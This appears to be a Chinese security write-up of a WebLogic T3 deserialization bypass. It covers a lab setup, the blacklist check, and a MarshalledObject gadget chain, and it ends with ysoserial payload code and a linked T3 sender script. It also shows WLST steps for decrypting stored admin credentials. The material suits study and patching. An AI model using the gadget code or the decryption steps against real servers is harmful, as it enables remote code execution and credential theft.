WebLogic T3协议反序列化 0day 漏洞分析

 

0x01 WebLogic T3 简介及漏洞背景

weblogic t3协议指的是weblogic的rmi使用的t3协议,在java rmi中,默认rmi使用的是jrmp协议,weblogic包含了高度优化的RMI实现。T3 这个神奇的协议使得weblogic漏洞层出不穷,正因为他必须使用java反序列化,所以在不影响正常功能的情况下,只能不断的添加黑名单。虽然该修补方式对目前已知的利用链能够立竿见影,但是对于其绕过姿势就没有任何防范能力了,本文结合最近的weblogic漏洞学习下t3协议的反序列化漏洞以及利用链的构造。

 

0x02 环境搭建

0x1 调试环境

利用Docker自动化搭建,在github下载搭建代码
[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)
本次实验环境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夹下存放相对应版本的程序

执行如下命令:

./WeblogicDockerBuild.sh
docker-compose up -d

脚本会自动开启8453调试端口,配置idea并进行连接

如果忘记登陆密码等,可以直接查看boot.properties文件,如果是加密后的字符串可以用weblogic自带的命令行解密,方法如下

# Generated by Configuration Wizard on Sat Apr 24 14:10:42 GMT 2021
username={AES}6qWaIAhpyw+EcPwy8TaM46YfhPnNkDdyg7hhCDqMvHY=
password={AES}BuECP9fjey3nHUWmuRVAuaTeYaSrXFKnTOA4aV49D90=
. $WLS_HOME/server/bin/setWLSEnv.sh
java weblogic.WLST
wls:/offline> domain="/weblogic/oracle/Domains/ExampleSilentWTDomain"
wls:/offline> service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
wls:/offline> encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
wls:/offline> print encryption.decrypt("{AES}DY2vfJ80wx72i8GUhNYFgiPsxr2ImFBrpOmUYcfMFBo=")

0x2 补丁安装

将补丁安装在/weblogic/oracle/middleware/utils/bsu/cache_dir 中

后续进入 /weblogic/oracle/middleware/utils/bsu 目录进行补丁安装,在docker中安装weblogic 补丁,需要扩展docker的内存容量,然后修改bsu.sh中的运行内存,不然的话回报各种问题。

cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=MXLE -prod_dir=/weblogic/oracle/middleware/wlserver

查看已安装补丁

 

0x03 漏洞分析

该漏洞为T3协议反序列化 0day 漏洞,根据描述漏洞出现在t3协议反序列化解析时,过滤不严格,导致了黑名单绕过,从而产生了漏洞。根据大佬们的提示,利用MarshalledObject类进行绕过,其原理如下:

我们从get方法中可以得知利用MarshalledObject的objBytes方法进行二次反序列化绕过weblogic的黑名单,因为在weblogic 10.3.6中必须调用FilteringObjectInputStream才能在反序列化时使用黑名单的限制。因此如果调用了MarshalledObject的get方法中的readObject则不会触发黑名单检测机制,可以使用任意反序列化payload。

0x1 T3 协议的反序列化

T3协议是weblogic实现RMI规范的专有协议,它具有特定的数据格式,我们今天不分析t3是怎么个协议,主要从t3数据包构造和反序列化部分开始。

1. 快速构造t3交互数据包

t3的头部是固定的交互数据,分为几大部分。T3协议头JAVA序列化数据
(1)关于T3协议头
经过反复的测试了解到发送

t3 9.2.0\nAS:255\nHL:19\n\n

字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法,并且weblogic自身也会返回相应的数据。

(2)关于JAVA序列化数据
有两种生成方式,其一将Java序列化部分的任意一个替换为恶意序列

第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

可以直接借鉴TY4er师傅在分析CVE-2020-2255的发送代码
https://raw.githubusercontent.com/Y4er/CVE-2020-2555/master/weblogic_t3.py

2. 反序列化入口

在InboundMsgAbbrev类中的read方法触发该类的readObject方法,如下图所示

0x2 补丁流程分析

抛开t3协议后, 反序列化的开始于下面的readObject的case 0函数

其中 ServerChannelInputStream 是内部类,如下图所示

因为readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以我们需要关注的是resolveClass的处理逻辑。

protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
    String var2 = descriptor.getName();

    try {
        this.checkLegacyBlacklistIfNeeded(descriptor.getName());
    } catch (InvalidClassException var5) {
        throw var5;
    }
    Class c = super.resolveClass(descriptor);
    if (c == null) {
        throw new ClassNotFoundException("super.resolveClass returns null.");
    } else {
        ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
        if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) {
            throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
        } else {
            return c;
        }
    }
}

上述代码的第5行正是从序列化数据中读取当前要反序列化类的名字,并在WebLogicObjectInputFilter类的isBlacklistedLegacy函数中进行黑名单匹配,一旦检测出包含就会触发异常。

这次使用的MarshalledObject类就不再之前的黑名单限制内,因此在绕过黑名单的同时造成了rce。接下来主要分析此次的主角MarshalledObject利用链的构造分析。

 

0x04 利用链编写

该利用链采用JDK7u21的基础利用框架,在编写payload的时候也踩了一些坑,在这里简单记录一下。因为用到了JDK7u21利用链,但是该链采用了com.sun.org.apache.xalan.internal.xsltc.trax 中的关键命令执行链TemplatesImpl,然而该类被上述的黑名单中被限制所以不能使用。下面利用MarshalledObject类构造他的兄弟链。

0x1 MarshalledObject起到了什么作用

在表面上它起到了替代TemplatesImpl的作用,那么到底是怎么个替代原理呢?
这事还要从AnnotationInvocationHandler讲起,在该类的equalsImpl方法里存在着奥秘

该方法会调用被代理对象的每个方法,这个操作就很危险了。我们在回过头来看下Templates接口中的方法

第一个方法就是newTransformer,该方法最终会调用getTransletInstance以及defineTransletClasses方法,最后在运行下面代码的380行时实例化_bytecodes中的类,触发编写好的静态代码块。

下面看MarshalledObject的操作,凑巧的是get方法也是getMemberMethods获取的第一个方法,直接就可以配合objBytes属性进行填充。

0x2 如何触发AnnotationInvocationHandler的equalsImpl方法

利用AnnotationInvocationHandler创建jdk动态代理后,如果出现了hashmap哈希碰撞,那么在hashmap中会调用AnnotationInvocationHandler的equal方法,间接的调用equalsImpl方法。
之所以是间接调用是因为在该类中实现了invoke方法,其代码如下

当代理类调用equals方法时会首先调用invoke方法,进而调用了equalsImpl方法。那么下面的问题就是如何让hash产生碰撞。

0x3 如何让hash相同

在hashmap中的put方法的475行,存在个key的equals调用。

具体分析可以参考https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/,简单归纳为

LinkedHashSet在反序列化填入key值时会触发上述代码,其逻辑是会将hash(key)和之前的key的hash进行比较。说到底就是MarshalledObject的hash和MarshalledObject代理类的hash方法的返回值进行比较。

这里利用了一个小技巧 “f5a5a608”.hashCode()为0为什么这是个小技巧呢?我们都知道MarshalledObject代理类的hashCode会触发代理类的invoke,那么之后会进入AnnotationInvocationHandler的hashCodeImpl函数,该函数逻辑如下

    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

this.memberValues 其实就是之前构造函数的第二个参数HashMap,要保证memberValues只有一个,并且127 * ((String)var3.getKey()).hashCode()为0,那么只能是满足条件

map.put("f5a5a608", marshell);

0x4 添加到ysoserial

public Object getObject(final String command) throws Exception {
        final Object marshell = new MarshalledObject("1");
        String zeroHashCodeStr = "f5a5a608";
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");
        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Serializable.class, map);
        Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
        Serializable proxy = Gadgets.createProxy(tempHandler, Serializable.class);
        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(marshell);
        set.add(proxy);
        byte[] asBytes = Base64.decode("serialize data");
        Reflections.setFieldValue(marshell,"objBytes",asBytes);
        map.put(zeroHashCodeStr, marshell); // swap in real object

        return set;

    }

有时间学习下关于weblogic的反序列化回显以及历史漏洞。

 

参考文献

https://venusense.com/new_type/aqtg/20210419/22599.html
https://mp.weixin.qq.com/s/OxeYufM-ZX_SdbV5zjWV7A
https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/

(完)